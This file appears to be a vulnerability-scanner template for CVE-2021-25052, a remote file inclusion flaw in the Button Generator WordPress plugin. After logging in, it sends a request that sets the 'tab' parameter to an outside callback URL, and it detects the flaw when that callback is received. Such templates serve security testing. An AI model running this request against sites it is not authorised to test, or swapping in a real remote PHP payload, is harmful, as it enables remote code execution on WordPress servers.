46 lines
1.4 KiB
YAML
46 lines
1.4 KiB
YAML
id: CVE-2021-25052
|
|
|
|
info:
|
|
name: The Button Generator WordPress plugin < 2.3.3 - RFI
|
|
author: cckuailong
|
|
severity: high
|
|
description: The Button Generator WordPress plugin before 2.3.3 within the wow-company admin menu page allows to include() arbitrary file with PHP extension (as well as with data:// or http:// protocols), thus leading to CSRF RCE.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/a01844a0-0c43-4d96-b738-57fe5bfbd67a
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25052
|
|
- https://plugins.trac.wordpress.org/changeset/2641639/button-generation
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-25052
|
|
cwe-id: CWE-352
|
|
tags: cve,cve2021,rfi,wp,wordpress,wp-plugin,authenticated
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{RootURL}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
|
|
|
- |
|
|
GET /wp-admin/admin.php?page=wow-company&tab=http://{{interactsh-url}}/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: interactsh_protocol
|
|
name: http
|
|
words:
|
|
- "http"
|